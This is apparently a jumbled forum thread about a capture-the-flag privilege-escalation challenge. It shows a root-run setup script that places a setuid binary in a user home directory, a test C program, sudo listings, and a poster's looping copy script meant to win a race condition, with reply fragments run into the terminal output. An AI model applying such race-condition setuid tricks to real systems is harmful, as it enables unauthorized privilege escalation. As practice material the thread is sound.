ctf@564f8adf2fc2:/$ sudo cat flag.txt
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for ctf: ctf@564f8adf2fc2:/challenge$ cat script.sh
#!/bin/bash
set -euxo pipefail
CTF_DIR="/home/ctf"
CHALLENGE_DIR="/challenge"
PROG="testing-sudo"
CTF_USER="ctf"
CTF_CRACKED_USER="ctf-cracked"
SUM="116c9f232ee81305478c093ad774d72c"
check () {
file="${1}"
if [ -e "${CTF_DIR}/${file}" ] && ! [ -f "${CTF_DIR}/${file}" ]; then
rm -rf "${CTF_DIR}/${file}"
fi
if ! [ -e "${CTF_DIR}/${file}" ]; then
touch "${CTF_DIR}/${file}"
fi
if ! [ "$SUM" == $( md5sum "${CTF_DIR}/${file}" | awk '{print $1}') ]; then
cp "${CHALLENGE_DIR}/${file}" "${CTF_DIR}/${file}"
fi
chown "${CTF_CRACKED_USER}:${CTF_CRACKED_USER}" "${CTF_DIR}/${file}"
chmod 4644 "${CTF_DIR}/${file}"
}
reset(){
file="${1}"
chown "${CTF_USER}:${CTF_USER}" "${CTF_DIR}"
chown "${CTF_USER}:${CTF_USER}" "${CTF_DIR}/${file}"
chmod 744 "${CTF_DIR}/${file}"
}
chown "root:root" "${CTF_DIR}"
chmod 755 "${CTF_DIR}"
check "$PROG"
chmod +x "${CTF_DIR}/${PROG}"
sudo -u "${CTF_CRACKED_USER}" "${CTF_DIR}/${PROG}"
reset "$PROG"ctf@564f8adf2fc2:/challenge$ cat testing-sudo.c
#include <stdio.h>
#include <unistd.h>
int main(int argc, char const *argv[])
{
if ((getuid()==1000) && (geteuid() == 1000)){
printf("Executing a program with cracked user\n");
}else{
printf("Executing a program with ctf user\n");
}
return 0;
}reset race condition you mentioned?sudo -lctf@4258882da3d5:~$ sudo -l
Matching Defaults entries for ctf on 4258882da3d5:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User ctf may run the following commands on 4258882da3d5:
(root : root) NOPASSWD: /challenge/script.shctf@4258882da3d5:~$ sudo /challenge/script.sh
+ CTF_DIR=/home/ctf
+ CHALLENGE_DIR=/challenge
+ PROG=testing-sudo
+ CTF_USER=ctf
+ CTF_CRACKED_USER=ctf-cracked
+ SUM=116c9f232ee81305478c093ad774d72c
+ chown root:root /home/ctf
+ chmod 755 /home/ctf
+ check testing-sudo
+ file=testing-sudo
+ '[' -e /home/ctf/testing-sudo ']'
+ '[' -f /home/ctf/testing-sudo ']'
+ '[' -e /home/ctf/testing-sudo ']'
++ md5sum /home/ctf/testing-sudo
++ awk '{print $1}'
+ '[' 116c9f232ee81305478c093ad774d72c == 53a9dab16370bfd0a5ae4be949e9b444 ']'
+ cp /challenge/testing-sudo /home/ctf/testing-sudo
+ chown ctf-cracked:ctf-cracked /home/ctf/testing-sudo
+ chmod 4644 /home/ctf/testing-sudo
+ chmod +x /home/ctf/testing-sudo
+ sudo -u ctf-cracked /home/ctf/testing-sudo
Executing a program with cracked user
+ reset testing-sudo
+ file=testing-sudo
+ chown ctf:ctf /home/ctf
+ chown ctf:ctf /home/ctf/testing-sudo
+ chmod 744 /home/ctf/testing-sudoctf@4258882da3d5:~$ ./a
Executing a program with ctf user
ctf@4258882da3d5:~$ ls
a repeat.sh testing-sudo
ctf@4258882da3d5:~$ ./repeat.sh
ctf@4258882da3d5:~$ cat repeat.sh
#!/bin/bash
while true; do cp a testing-sudo; donechown "root:root" "${CTF_DIR}" preventing you from doing that?chown "${CTF_USER}:${CTF_USER}" "${CTF_DIR}/${file}"
chmod 744 "${CTF_DIR}/${file}"
to read the flag